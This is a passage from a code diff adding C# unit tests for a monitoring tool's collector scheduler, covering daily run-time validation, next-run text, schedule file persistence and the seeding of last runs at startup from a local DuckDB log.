+        Assert.Contains(expectedText, warning.Message, StringComparison.Ordinal);
+        Assert.Contains(InvalidRunAtText, warning.Message, StringComparison.Ordinal);
+
+        /* It is written back as text, so the next load meets an ordinary string. */
+        var reloadLog = new CapturingLog();
+        var reloaded = new ScheduleManager(_configDir, reloadLog);
+        Assert.Equal(expectedText, reloaded.GetScheduleForServer(ServerKey, "index_object_stats")!.RunAt);
+        Assert.Equal(7, reloaded.GetScheduleForServer(ServerKey, "wait_stats")!.FrequencyMinutes);
+        Assert.DoesNotContain(reloadLog.Entries, e => e.Level == LogLevel.Error);
+    }
+
+    /* The converter changes nothing for the values that always loaded: a time reads as it is written, and null reads as none. */
+    [Theory]
+    [InlineData("\"02:30\"", "02:30")]
+    [InlineData("\"25:00\"", "25:00")]
+    [InlineData("null", null)]
+    public void ARunTimeThatIsAStringOrNull_ReadsAsItAlwaysDid(string token, string? expectedText)
+    {
+        File.WriteAllText(SchedulePath, $$"""
+            {
+              "version": 2,
+              "default_schedule": [],
+              "server_overrides": {
+                "{{ServerKey}}": { "collectors": [
+                  { "name": "index_object_stats", "enabled": true, "frequency_minutes": 1440, "retention_days": 30, "run_at": {{token}} }
+                ] }
+              }
+            }
+            """);
+        var log = new CapturingLog();
+        var manager = new ScheduleManager(_configDir, log);
+
+        Assert.Equal(expectedText, manager.GetScheduleForServer(ServerKey, "index_object_stats")!.RunAt);
+        Assert.DoesNotContain(log.Entries, e => e.Level == LogLevel.Error);
+    }
+
+    // ── the editor's checks and its next-run text ───────────────────────────────
+
+    private const string InvalidRunAtText = "Run at must be a 24-hour time from 00:00 to 23:59, such as 02:00.";
+
+    [Theory]
+    [InlineData("24:00")]
+    [InlineData("25:00")]
+    [InlineData("02:60")]
+    [InlineData("2:00")]
+    [InlineData("0200")]
+    [InlineData("abc")]
+    [InlineData("-1:00")]
+    public void TheEditorCheck_RefusesATimeThatIsNot24HourHHMM_WithTheShippedText(string runAt)
+    {
+        Assert.Equal(InvalidRunAtText, ScheduleManager.RunAtError(Daily, 1440, runAt));
+    }
+
+    [Theory]
+    [InlineData("00:00")]
+    [InlineData("02:00")]
+    [InlineData("23:59")]
+    [InlineData(" 04:30 ")]
+    public void TheEditorCheck_AcceptsA24HourTime_OnAWholeDayInterval(string runAt)
+    {
+        Assert.Null(ScheduleManager.RunAtError(Daily, 1440, runAt));
+        Assert.Null(ScheduleManager.RunAtError(Daily, 2880, runAt));
+    }
+
+    [Fact]
+    public void TheEditorCheck_RefusesARunTimeOnAnIntervalThatIsNotWholeDays_WithTheShippedText()
+    {
+        Assert.Equal(
+            "'wait_stats' runs every 60 minutes. A run time works only for a collector that runs once a day or less often (1440 minutes, or a multiple of 1440). Change the frequency or clear the run time.",
+            ScheduleManager.RunAtError("wait_stats", 60, "02:00"));
+        Assert.Contains("every 720 minutes", ScheduleManager.RunAtError(Daily, 720, "02:00"), StringComparison.Ordinal);
+        Assert.Contains("every 1500 minutes", ScheduleManager.RunAtError(Daily, 1500, "02:00"), StringComparison.Ordinal);
+        Assert.Contains("every 1 minutes", ScheduleManager.RunAtError(Daily, 1, "02:00"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheEditorCheck_JudgesAnOnLoadCollectorOnItsDailyRecapture_AndABlankTimeIsNone()
+    {
+        /* The 5 on-load collectors (frequency 0) re-capture daily, so they may have a run time. */
+        Assert.Null(ScheduleManager.RunAtError("trace_flags", 0, "02:00"));
+
+        Assert.Null(ScheduleManager.RunAtError("wait_stats", 1, null));
+        Assert.Null(ScheduleManager.RunAtError("wait_stats", 1, ""));
+        Assert.Null(ScheduleManager.RunAtError("wait_stats", 1, "   "));
+        Assert.Null(ScheduleManager.NormalizeRunAt("  "));
+        Assert.Equal("02:00", ScheduleManager.NormalizeRunAt(" 02:00 "));
+    }
+
+    [Fact]
+    public void TheEditorNote_SaysLiteRunsTheCollectorOnlyWhileItIsOpen()
+    {
+        Assert.Equal(
+            "Lite collects only while it is open. If Lite is closed at this time, that day's run is skipped.",
+            ScheduleManager.RunAtLiteClosedNote);
+    }
+
+    [Fact]
+    public void TheEditorWindow_UsesTheChecksTheNoteAndTheDefaultPathsRunTime()
+    {
+        /* The window needs a desktop to open, so its wiring is read from the source: the check, the note, and the
+           default-schedule save passing the run time (UpdateSchedule keeps the one it has unless told to change it). */
+        var editor = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "Windows", "CollectorScheduleEditorWindow.xaml.cs"))
+            .Replace("\r\n", "\n");
+        Assert.Contains("ScheduleManager.RunAtError(item.Name, item.FrequencyMinutes, item.RunAt)", editor, StringComparison.Ordinal);
+        Assert.Contains("ScheduleManager.RunAtLiteClosedNote", editor, StringComparison.Ordinal);
+        Assert.Contains("changeRunAt: true", editor, StringComparison.Ordinal);
+
+        var xaml = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "Windows", "CollectorScheduleEditorWindow.xaml"));
+        Assert.Contains("Binding=\"{Binding RunAt, UpdateSourceTrigger=LostFocus}\"", xaml, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheDefaultScheduleUpdate_SetsAndClearsARunTime_AndKeepsItWhenOnlyOtherFieldsChange()
+    {
+        var manager = new ScheduleManager(_configDir);
+        string? RunAt() => manager.GetDefaultSchedule().First(s => s.Name == "index_object_stats").RunAt;
+
+        manager.UpdateSchedule("index_object_stats", runAt: " 02:00 ", changeRunAt: true);
+        Assert.Equal("02:00", RunAt());
+        Assert.Contains("\"run_at\": \"02:00\"", File.ReadAllText(SchedulePath), StringComparison.Ordinal);
+
+        /* Other fields change and the run time stays. */
+        manager.UpdateSchedule("index_object_stats", retentionDays: 45);
+        Assert.Equal("02:00", RunAt());
+
+        manager.UpdateSchedule("index_object_stats", runAt: "", changeRunAt: true);
+        Assert.Null(RunAt());
+        Assert.DoesNotContain("run_at", File.ReadAllText(SchedulePath), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheDefaultScheduleUpdate_RefusesABadRunTime_AndAFrequencyThatLeavesARunTimeOnAnHourlyCollector_ChangingNothing()
+    {
+        var manager = new ScheduleManager(_configDir);
+        string? RunAt() => manager.GetDefaultSchedule().First(s => s.Name == "index_object_stats").RunAt;
+        int Frequency() => manager.GetDefaultSchedule().First(s => s.Name == "index_object_stats").FrequencyMinutes;
+        manager.UpdateSchedule("index_object_stats", runAt: "02:00", changeRunAt: true);
+        var frequency = Frequency();
+
+        var bad = Assert.Throws<InvalidOperationException>(() =>
+            manager.UpdateSchedule("index_object_stats", retentionDays: 99, runAt: "25:00", changeRunAt: true));
+        Assert.Equal(InvalidRunAtText, bad.Message);
+
+        var hourly = Assert.Throws<InvalidOperationException>(() =>
+            manager.UpdateSchedule("index_object_stats", frequencyMinutes: 60));
+        Assert.StartsWith("'index_object_stats' runs every 60 minutes. A run time works only", hourly.Message, StringComparison.Ordinal);
+
+        Assert.Equal("02:00", RunAt());
+        Assert.Equal(frequency, Frequency());
+        Assert.NotEqual(99, manager.GetDefaultSchedule().First(s => s.Name == "index_object_stats").RetentionDays);
+
+        /* Clearing the run time and moving to hourly in one update is fine. */
+        manager.UpdateSchedule("index_object_stats", frequencyMinutes: 60, runAt: null, changeRunAt: true);
+        Assert.Null(RunAt());
+        Assert.Equal(60, Frequency());
+    }
+
+    [Fact]
+    public void AServerScheduleSave_RefusesABadRunTime_AndStoresABlankOneAsNone()
+    {
+        var manager = new ScheduleManager(_configDir);
+
+        var bad = Assert.Throws<InvalidOperationException>(() => manager.SetScheduleForServer(ServerKey, new List<CollectorSchedule>
+        {
+            new() { Name = "wait_stats", Enabled = true, FrequencyMinutes = 1, RunAt = "02:00" },
+        }));
+        Assert.StartsWith("'wait_stats' runs every 1 minutes.", bad.Message, StringComparison.Ordinal);
+        Assert.False(manager.HasServerOverride(ServerKey));
+
+        manager.SetScheduleForServer(ServerKey, new List<CollectorSchedule>
+        {
+            new() { Name = Daily, Enabled = true, FrequencyMinutes = 1440, RunAt = "  " },
+        });
+        Assert.Null(manager.GetScheduleForServer(ServerKey, Daily)!.RunAt);
+        Assert.DoesNotContain("run_at", File.ReadAllText(SchedulePath), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheNextRunText_GivesTheExactMinuteOnAServer_InTheServersClockAndUtc()
+    {
+        var manager = Manager(clock: Eastern);
+        var slot = Slot(Day.AddDays(1), 120, Eastern);
+        manager.MarkCollectorRunForServer(ServerKey, Daily, Slot(Day, 120, Eastern) + TimeSpan.FromMinutes(3));
+        var now = Slot(Day, 120, Eastern) + TimeSpan.FromHours(5);
+
+        var line = Assert.Single(manager.DescribeRunTimes(ServerKey, manager.GetSchedulesForServer(ServerKey), now));
+
+        Assert.Equal(
+            $"{Daily}: next run {Eastern.ToServerLocal(slot):yyyy-MM-dd HH:mm} server time ({slot:yyyy-MM-dd HH:mm} UTC).",
+            line);
+        Assert.Contains("02:", line, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheNextRunText_SaysDueNowInsideTheHour_AndIsEmptyWhereNoRunTimeApplies()
+    {
+        var manager = Manager(clock: Eastern);
+        var slot = Slot(Day, 120, Eastern);
+
+        Assert.Equal($"{Daily}: due now, inside today's hour.",
+            Assert.Single(manager.DescribeRunTimes(ServerKey, manager.GetSchedulesForServer(ServerKey), slot + TimeSpan.FromMinutes(5))));
+
+        var schedules = new List<CollectorSchedule>
+        {
+            new() { Name = "no_run_time", Enabled = true, FrequencyMinutes = 1440 },
+            new() { Name = "hourly", Enabled = true, FrequencyMinutes = 60, RunAt = "02:00" },
+            new() { Name = "bad_time", Enabled = true, FrequencyMinutes = 1440, RunAt = "99:99" },
+            new() { Name = "disabled", Enabled = false, FrequencyMinutes = 1440, RunAt = "02:00" },
+        };
+        Assert.Empty(manager.DescribeRunTimes(ServerKey, schedules, slot));
+    }
+
+    [Fact]
+    public void TheNextRunText_ForTheDefaultSchedule_GivesTheHourTheServersSpreadAcross_AndWrapsPastMidnight()
+    {
+        var manager = new ScheduleManager(_configDir);
+        var schedules = new List<CollectorSchedule>
+        {
+            new() { Name = "early", Enabled = true, FrequencyMinutes = 1440, RunAt = "02:00" },
+            new() { Name = "late", Enabled = true, FrequencyMinutes = 1440, RunAt = "23:30" },
+        };
+
+        Assert.Equal(
+            new[]
+            {
+                "early: runs between 02:00 and 03:00 on each server's clock, each server at its own minute.",
+                "late: runs between 23:30 and 00:30 on each server's clock, each server at its own minute.",
+            },
+            manager.DescribeRunTimes(null, schedules, Slot(Day, 120)));
+    }
+
+    [Fact]
+    public void TheNextRunText_WaitsForTheFirstCollection_AndSaysWhenTheClockIsNotKnown()
+    {
+        var manager = new ScheduleManager(_configDir);
+        manager.SetScheduleForServer(ServerKey, new List<CollectorSchedule>
+        {
+            new() { Name = Daily, Enabled = true, FrequencyMinutes = 1440, RunAt = "02:00" },
+        });
+
+        /* Nothing has been read for this server yet: no clock, no run history. */
+        Assert.Equal($"{Daily}: the next run shows once Lite has collected from this server.",
+            Assert.Single(manager.DescribeRunTimes(ServerKey, manager.GetSchedulesForServer(ServerKey), Slot(Day, 120))));
+
+        manager.SetServerRunContext(ServerKey, StorageId, ServerName, clock: null);
+        manager.MarkCollectorRunForServer(ServerKey, Daily, Slot(Day, 120) + TimeSpan.FromMinutes(2));
+        var tomorrow = Slot(Day.AddDays(1), 120);
+
+        Assert.Equal(
+            $"{Daily}: next run {tomorrow:yyyy-MM-dd HH:mm} UTC (the server's clock is not known yet, so the run time is read as UTC).",
+            Assert.Single(manager.DescribeRunTimes(ServerKey, manager.GetSchedulesForServer(ServerKey), Slot(Day, 120) + TimeSpan.FromHours(3))));
+    }
+
+    // ── the tab-open run ─────────────────────────────────────────────────────────
+
+    [Fact]
+    public void TheTabOpenRun_SkipsARunTimeCollectorAndADailyOneThatIsNotDue_AndKeepsTheOnLoadCollectorsAndTheRest()
+    {
+        var now = new DateTime(2026, 7, 15, 9, 0, 0, DateTimeKind.Utc);
+        var manager = new ScheduleManager(_configDir);
+        manager.SetScheduleForServer(ServerKey, new List<CollectorSchedule>
+        {
+            new() { Name = "on_load", Enabled = true, FrequencyMinutes = 0 },
+            new() { Name = "on_load_with_run_time", Enabled = true, FrequencyMinutes = 0, RunAt = "03:00" },
+            new() { Name = "daily_with_run_time", Enabled = true, FrequencyMinutes = 1440, RunAt = "03:00" },
+            new() { Name = "daily_not_due", Enabled = true, FrequencyMinutes = 1440 },
+            new() { Name = "daily_due", Enabled = true, FrequencyMinutes = 1440 },
+            new() { Name = "daily_never_run", Enabled = true, FrequencyMinutes = 1440 },
+            new() { Name = "hourly", Enabled = true, FrequencyMinutes = 60 },
+            new() { Name = "daily_disabled", Enabled = false, FrequencyMinutes = 1440 },
+        });
+        manager.SetServerRunContext(ServerKey, StorageId, ServerName, clock: null);
+        manager.MarkCollectorRunForServer(ServerKey, "daily_not_due", now - TimeSpan.FromHours(1));
+        manager.MarkCollectorRunForServer(ServerKey, "daily_due", now - TimeSpan.FromHours(25));
+        manager.MarkCollectorRunForServer(ServerKey, "hourly", now - TimeSpan.FromMinutes(1));
+
+        var names = manager.GetCollectorsForTabOpen(ServerKey, now).Select(s => s.Name).ToList();
+
+        Assert.Equal(
+            new[] { "on_load", "on_load_with_run_time", "daily_due", "daily_never_run", "hourly" },
+            names);
+    }
+
+    [Fact]
+    public void ARunOfServerProperties_RefreshesTheClockTheRunTimeReads()
+    {
+        /* The new server_properties row is the server's clock arriving or changing. A run needs a live server, so the
+           wiring is read from the source; the refresh itself is pinned by TheClock_IsTheNewestServerPropertiesRow below. */
+        var source = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "Services", "RemoteCollectorService.cs"));
+        var run = MethodBody(source, "public async Task RunCollectorAsync(ServerConnection server, string collectorName, DateTime? scheduledAtUtc");
+
+        Assert.Contains("\"server_properties\"", run, StringComparison.Ordinal);
+        Assert.Contains("RefreshRunTimeClockAsync(", run, StringComparison.Ordinal);
+    }
+
+    // ── the file ─────────────────────────────────────────────────────────────────
+
+    [Fact]
+    public void TheFile_WritesRunAtOnlyWhereOneIsSet_AndReadsItBack()
+    {
+        var first = new ScheduleManager(_configDir);
+        Assert.DoesNotContain("run_at", File.ReadAllText(SchedulePath), StringComparison.Ordinal);
+
+        first.GetDefaultSchedule().First(s => s.Name == "index_object_stats").RunAt = "02:00";
+        first.SaveSchedules();
+        first.SetScheduleForServer(ServerKey, new List<CollectorSchedule>
+        {
+            new() { Name = "index_object_stats", Enabled = true, FrequencyMinutes = 1440, RunAt = "04:30" },
+            new() { Name = "wait_stats", Enabled = true, FrequencyMinutes = 1 },
+        });
+
+        var json = File.ReadAllText(SchedulePath);
+        Assert.Equal(2, CountOf(json, "\"run_at\""));
+        Assert.Contains("\"run_at\": \"02:00\"", json, StringComparison.Ordinal);
+        Assert.Contains("\"run_at\": \"04:30\"", json, StringComparison.Ordinal);
+
+        var second = new ScheduleManager(_configDir);
+        Assert.Equal("02:00", second.GetDefaultSchedule().First(s => s.Name == "index_object_stats").RunAt);
+        Assert.Null(second.GetDefaultSchedule().First(s => s.Name == "wait_stats").RunAt);
+        Assert.Equal("04:30", second.GetScheduleForServer(ServerKey, "index_object_stats")!.RunAt);
+        Assert.Null(second.GetScheduleForServer(ServerKey, "wait_stats")!.RunAt);
+    }
+
+    [Fact]
+    public void TheFile_WithAFieldTheTypeDoesNotHave_Loads_SoAnOlderLiteReadsTheNewFileAndIgnoresRunAt()
+    {
+        /* An older build has no run_at on its type: for it, run_at is exactly this, a field it does not know. The
+           reader sets no unmapped-member rule, so System.Text.Json's default skips it. A load that threw would drop
+           every schedule back to the defaults, which a frequency of 7 minutes on wait_stats shows. */
+        var json = """
+            {
+              "version": 2,
+              "added_at_top_level": { "nested": [1, 2, 3] },
+              "default_schedule": [
+                { "name": "wait_stats", "enabled": true, "frequency_minutes": 7, "retention_days": 30, "added_by_a_newer_version": "02:00" }
+              ],
+              "server_overrides": {
+                "srv": { "collectors": [ { "name": "wait_stats", "enabled": true, "frequency_minutes": 9, "retention_days": 30, "added_by_a_newer_version": 5 } ] }
+              }
+            }
+            """;
+        File.WriteAllText(SchedulePath, json);
+
+        var manager = new ScheduleManager(_configDir);
+
+        Assert.Equal(7, manager.GetDefaultSchedule().First(s => s.Name == "wait_stats").FrequencyMinutes);
+        Assert.Equal(9, manager.GetScheduleForServer("srv", "wait_stats")!.FrequencyMinutes);
+    }
+
+    [Fact]
+    public void AServerWithoutAnOverride_SeesTheDefaultsRunAt_AndTheEditorCopiesItToo()
+    {
+        var manager = new ScheduleManager(_configDir);
+        manager.GetDefaultSchedule().First(s => s.Name == "index_object_stats").RunAt = "02:00";
+
+        Assert.Equal("02:00", manager.GetSchedulesForServer("no-override").First(s => s.Name == "index_object_stats").RunAt);
+
+        /* The editor saves a server's override from its own copy of the list; a copy that dropped RunAt would erase a
+           hand-set run time on the first save. */
+        var editor = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "Windows", "CollectorScheduleEditorWindow.xaml.cs"));
+        Assert.Contains("RunAt = s.RunAt", editor, StringComparison.Ordinal);
+    }
+
+    // ── the startup seed of the scheduler's state ───────────────────────────────
+
+    [Fact]
+    public void SeedingTheLastRuns_KeepsTheLaterOfTheSeedAndARunMadeSince()
+    {
+        var now = new DateTime(2026, 7, 15, 9, 0, 0, DateTimeKind.Utc);
+        var manager = new ScheduleManager(_configDir);
+        manager.SetScheduleForServer(ServerKey, new List<CollectorSchedule>
+        {
+            new() { Name = "seeded_daily", Enabled = true, FrequencyMinutes = 1440 },
+            new() { Name = "ran_since", Enabled = true, FrequencyMinutes = 1440 },
+            new() { Name = "ran_before", Enabled = true, FrequencyMinutes = 1440 },
+        });
+        manager.MarkCollectorRunForServer(ServerKey, "ran_since", now - TimeSpan.FromMinutes(5));
+        manager.MarkCollectorRunForServer(ServerKey, "ran_before", now - TimeSpan.FromHours(30));
+
+        manager.SeedLastRunsForServer(ServerKey, new Dictionary<string, DateTime>
+        {
+            ["seeded_daily"] = now - TimeSpan.FromHours(2),
+            ["ran_since"] = now - TimeSpan.FromHours(20),
+            ["ran_before"] = now - TimeSpan.FromHours(3),
+        });
+
+        Assert.Empty(Due(manager, now));
+    }
+
+    [Fact]
+    public void TheDailyCollectors_AreThoseWhoseEffectiveIntervalIsADayOrMore_OnLoadOnesIncluded()
+    {
+        var manager = new ScheduleManager(_configDir);
+        manager.SetScheduleForServer(ServerKey, new List<CollectorSchedule>
+        {
+            new() { Name = "on_load", Enabled = true, FrequencyMinutes = 0 },
+            new() { Name = "daily", Enabled = true, FrequencyMinutes = 1440 },
+            new() { Name = "weekly", Enabled = true, FrequencyMinutes = 10080 },
+            new() { Name = "hourly", Enabled = true, FrequencyMinutes = 60 },
+            new() { Name = "daily_disabled", Enabled = false, FrequencyMinutes = 1440 },
+        });
+
+        var daily = manager.GetDailyCollectorIntervalsForServer(ServerKey);
+
+        Assert.Equal(
+            new Dictionary<string, int> { ["on_load"] = 1440, ["daily"] = 1440, ["weekly"] = 10080 }.OrderBy(p => p.Key),
+            daily.OrderBy(p => p.Key));
+    }
+
+    // ── helpers ──────────────────────────────────────────────────────────────────
+
+    private static int CountOf(string text, string needle)
+    {
+        var count = 0;
+        for (var at = text.IndexOf(needle, StringComparison.Ordinal); at >= 0; at = text.IndexOf(needle, at + needle.Length, StringComparison.Ordinal))
+        {
+            count++;
+        }
+
+        return count;
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
+
+    /* The text from the method's signature to the closing brace at four spaces of indent. */
+    private static string MethodBody(string source, string signature)
+    {
+        source = source.Replace("\r\n", "\n");
+        var start = source.IndexOf(signature, StringComparison.Ordinal);
+        Assert.True(start >= 0, $"{signature} is in the source");
+        var end = source.IndexOf("\n    }\n", start, StringComparison.Ordinal);
+        Assert.True(end > start, "the method ends");
+        return source[start..end];
+    }
+
+    private sealed class CapturingLog : ILogger<ScheduleManager>
+    {
+        public List<(LogLevel Level, string Message)> Entries { get; } = new();
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception? exception,
+            Func<TState, Exception?, string> formatter) => Entries.Add((logLevel, formatter(state, exception)));
+    }
+}
+
+/// <summary>
+/// #4938: at start-up Lite reads each server's last run of every daily collector from its own collection_log, with
+/// or without a run time, so a restart or a tab open no longer re-runs one; and it reads the server's clock from the
+/// newest server_properties row.
+/// </summary>
+public sealed class CollectorRunTimeStartupSeedTests : IDisposable
+{
+    private static readonly DateTime Now = DateTime.UtcNow;
+    private static long s_nextLogId = -1;
+
+    private readonly string _dir = Directory.CreateTempSubdirectory("pm-lite-run-time-seed-tests-").FullName;
+    private readonly List<DuckDbInitializer> _initializers = [];
+
+    public void Dispose()
+    {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
+        try { Directory.Delete(_dir, recursive: true); } catch { /* best effort */ }
+    }
+
+    private async Task<(DuckDbInitializer DuckDb, ServerManager Servers, ServerConnection Server)> OpenAsync()
+    {
+        var duckDb = new DuckDbInitializer(Path.Combine(_dir, "pm.duckdb"));
+        _initializers.Add(duckDb);
+        await duckDb.InitializeFromTemplateAsync();
+        var servers = new ServerManager(_dir);
+        var server = new ServerConnection { ServerName = "seed-test", DisplayName = "seed-test" };
+        servers.AddServer(server);
+        return (duckDb, servers, server);
+    }
+
+    private static async Task LogAsync(DuckDbInitializer duckDb, ServerConnection server, string collector, DateTime utc, string status)
+    {
+        using var readLock = duckDb.AcquireReadLock();
+        using var connection = duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var command = connection.CreateCommand();
+        command.CommandText = @"INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status)
+            VALUES ($1, $2, 'seed-test', $3, $4, 10, $5)";
+        command.Parameters.Add(new DuckDBParameter { Value = Interlocked.Decrement(ref s_nextLogId) });
+        command.Parameters.Add(new DuckDBParameter { Value = RemoteCollectorService.GetServerId(server) });
+        command.Parameters.Add(new DuckDBParameter { Value = collector });
+        command.Parameters.Add(new DuckDBParameter { Value = utc });
+        command.Parameters.Add(new DuckDBParameter { Value = status });
+        await command.ExecuteNonQueryAsync();
+    }
+
+    private static async Task ServerPropertiesAsync(DuckDbInitializer duckDb, ServerConnection server, DateTime utc, int offset, string? zoneId)
+    {
+        using var readLock = duckDb.AcquireReadLock();
+        using var connection = duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var command = connection.CreateCommand();
+        command.CommandText = @"INSERT INTO server_properties
+            (collection_id, collection_time, server_id, server_name,
+             edition, product_version, product_level, engine_edition,
+             cpu_count, hyperthread_ratio, physical_memory_mb, utc_offset_minutes, time_zone_id)
+            VALUES ($1, $2, $3, 'seed-test', 'Developer Edition', '16.0.4150.1', 'RTM', 3, 8, 1, 16384, $4, $5)";
+        command.Parameters.Add(new DuckDBParameter { Value = Interlocked.Decrement(ref s_nextLogId) });
+        command.Parameters.Add(new DuckDBParameter { Value = utc });
+        command.Parameters.Add(new DuckDBParameter { Value = RemoteCollectorService.GetServerId(server) });
+        command.Parameters.Add(new DuckDBParameter { Value = offset });
+        command.Parameters.Add(new DuckDBParameter { Value = (object?)zoneId ?? DBNull.Value });
+        await command.ExecuteNonQueryAsync();
+    }
+
+    private static List<string> Due(ScheduleManager manager, ServerConnection server) =>
+        manager.GetDueCollectorsForServer(server.Id, DateTime.UtcNow).Select(s => s.Name).ToList();
+
+    [Fact]
+    public async Task TheStartupRead_SeedsEveryDailyCollectorFromItsLog_SoARestartTheSameDayDoesNotMakeItDue()
+    {
+        var (duckDb, servers, server) = await OpenAsync();
+        try
+        {
+            await LogAsync(duckDb, server, "index_object_stats", Now.AddHours(-3), "SUCCESS");
+            await LogAsync(duckDb, server, "trace_flags", Now.AddHours(-2), "SUCCESS");
+            await LogAsync(duckDb, server, "server_config", Now.AddHours(-30), "SUCCESS");
+            await LogAsync(duckDb, server, "wait_stats", Now.AddMinutes(-10), "SUCCESS");
+
+            var first = new ScheduleManager(_dir);
+            var firstService = new RemoteCollectorService(duckDb, servers, first);
+            await firstService.EnsureRunTimeReadyAsync(server);
+
+            var due = Due(first, server);
+            Assert.DoesNotContain("index_object_stats", due);
+            Assert.DoesNotContain("trace_flags", due);
+            Assert.Contains("server_config", due);
+            Assert.Contains("database_config", due);
+
+            /* An hourly collector is not seeded: its in-memory rule is unchanged. */
+            Assert.Contains("wait_stats", due);
+
+            /* The same day, a restart: a new scheduler and a new service over the same local database. */
+            var second = new ScheduleManager(_dir);
+            var secondService = new RemoteCollectorService(duckDb, servers, second);
+            Assert.Contains("index_object_stats", Due(second, server));
+            await secondService.EnsureRunTimeReadyAsync(server);
+            Assert.DoesNotContain("index_object_stats", Due(second, server));
+            Assert.DoesNotContain("trace_flags", Due(second, server));
+
+            /* The tab-open run skips them too, and still runs the on-load collectors. */
+            var tabOpen = second.GetCollectorsForTabOpen(server.Id, DateTime.UtcNow).Select(s => s.Name).ToList();
+            Assert.DoesNotContain("index_object_stats", tabOpen);
+            Assert.Contains("trace_flags", tabOpen);
+            Assert.Contains("server_config", tabOpen);
+            Assert.Contains("wait_stats", tabOpen);
+        }
+        finally
+        {
+            duckDb.Dispose();
+        }
+    }
+
+    [Fact]
+    public async Task TheStartupRead_CountsAnyStatusAsARun_AsDarlingsConnectTimeReadDoes()
+    {
+        var (duckDb, servers, server) = await OpenAsync();
+        try
+        {
+            await LogAsync(duckDb, server, "index_object_stats", Now.AddHours(-3), "ERROR");
+            await LogAsync(duckDb, server, "trace_flags", Now.AddHours(-2), "PERMISSIONS");
+            await LogAsync(duckDb, server, "server_config", Now.AddHours(-1), "CANCELLED");
+
+            var manager = new ScheduleManager(_dir);
+            await new RemoteCollectorService(duckDb, servers, manager).EnsureRunTimeReadyAsync(server);
+
+            var due = Due(manager, server);
+            Assert.DoesNotContain("index_object_stats", due);
+            Assert.DoesNotContain("trace_flags", due);
+            Assert.DoesNotContain("server_config", due);
+        }
+        finally
+        {
+            duckDb.Dispose();
+        }
+    }
+
+    [Fact]
+    public async Task TheStartupRead_IsDoneOncePerServer_NotOnEveryCycle()
+    {
+        var (duckDb, servers, server) = await OpenAsync();
+        try
+        {
+            var manager = new ScheduleManager(_dir);
+            var service = new RemoteCollectorService(duckDb, servers, manager);
+            await service.EnsureRunTimeReadyAsync(server);
+            Assert.Contains("index_object_stats", Due(manager, server));
+
+            /* A row that lands after the read is not read again: the in-memory state carries this run. */
+            await LogAsync(duckDb, server, "index_object_stats", Now.AddHours(-1), "SUCCESS");
+            await service.EnsureRunTimeReadyAsync(server);
+            Assert.Contains("index_object_stats", Due(manager, server));
+        }
+        finally
+        {
+            duckDb.Dispose();
+        }
+    }
+
+    [Fact]
+    public async Task TheClock_IsTheNewestServerPropertiesRow_AndTheNextRowMovesTheRunTime()
+    {
+        var (duckDb, servers, server) = await OpenAsync();
+        try
+        {
+            var day = new DateOnly(2026, 7, 15);
+            var storageId = RemoteCollectorService.GetServerId(server);
+            var eastern = ServerClock.Resolve("Eastern Standard Time", -300);
+            var pacific = ServerClock.Resolve("Pacific Standard Time", -480);
+            DateTime Slot(ServerClock clock) => CollectorRunTime.SlotUtc(day, 240, storageId, clock.ToUtc);
+
+            await ServerPropertiesAsync(duckDb, server, new DateTime(2026, 7, 1, 0, 0, 0, DateTimeKind.Utc), -240, "Eastern Standard Time");
+
+            var manager = new ScheduleManager(_dir);
+            manager.SetScheduleForServer(server.Id, new List<CollectorSchedule>
+            {
+                new() { Name = "index_object_stats", Enabled = true, FrequencyMinutes = 1440, RunAt = "04:00" },
+            });
+            manager.MarkCollectorRunForServer(server.Id, "index_object_stats", Slot(eastern) - TimeSpan.FromDays(1) + TimeSpan.FromMinutes(5));
+            var service = new RemoteCollectorService(duckDb, servers, manager);
+            await service.EnsureRunTimeReadyAsync(server);
+
+            Assert.Empty(manager.GetDueCollectorsForServer(server.Id, Slot(eastern) - TimeSpan.FromMinutes(1)));
+            Assert.Single(manager.GetDueCollectorsForServer(server.Id, Slot(eastern) + TimeSpan.FromMinutes(1)));
+
+            /* A newer row with another zone: the next refresh moves the slot to the new zone's 04:00. */
+            await ServerPropertiesAsync(duckDb, server, new DateTime(2026, 7, 2, 0, 0, 0, DateTimeKind.Utc), -420, "Pacific Standard Time");
+            await service.RefreshRunTimeClockAsync(server);
+
+            Assert.Empty(manager.GetDueCollectorsForServer(server.Id, Slot(eastern) + TimeSpan.FromMinutes(1)));
+            Assert.Single(manager.GetDueCollectorsForServer(server.Id, Slot(pacific) + TimeSpan.FromMinutes(1)));
+        }
+        finally
+        {
+            duckDb.Dispose();
+        }
+    }
+
+    /* The one floor both Lite paths apply: a collector's own interval plus a day, inclusive at the edge. */
+    [Fact]
+    public void TheLastRunFloor_IsTheCollectorsIntervalPlusADay_AndAnOlderRunReadsAsNeverRun()
+    {
+        var now = new DateTime(2026, 7, 15, 9, 0, 0, DateTimeKind.Utc);
+
+        Assert.Equal(TimeSpan.FromDays(2), ScheduleManager.LastRunFloor(1440));
+        Assert.Equal(TimeSpan.FromDays(4), ScheduleManager.LastRunFloor(3 * 1440));
+        Assert.Equal(TimeSpan.FromDays(8), ScheduleManager.LastRunFloor(7 * 1440));
+
+        var edge = now - TimeSpan.FromDays(4);
+        Assert.Equal(edge, ScheduleManager.LastRunWithinFloor(edge, now, 3 * 1440));
+        Assert.Null(ScheduleManager.LastRunWithinFloor(edge.AddTicks(-1), now, 3 * 1440));
+        Assert.Equal(edge.AddTicks(-1), ScheduleManager.LastRunWithinFloor(edge.AddTicks(-1), now, 7 * 1440));
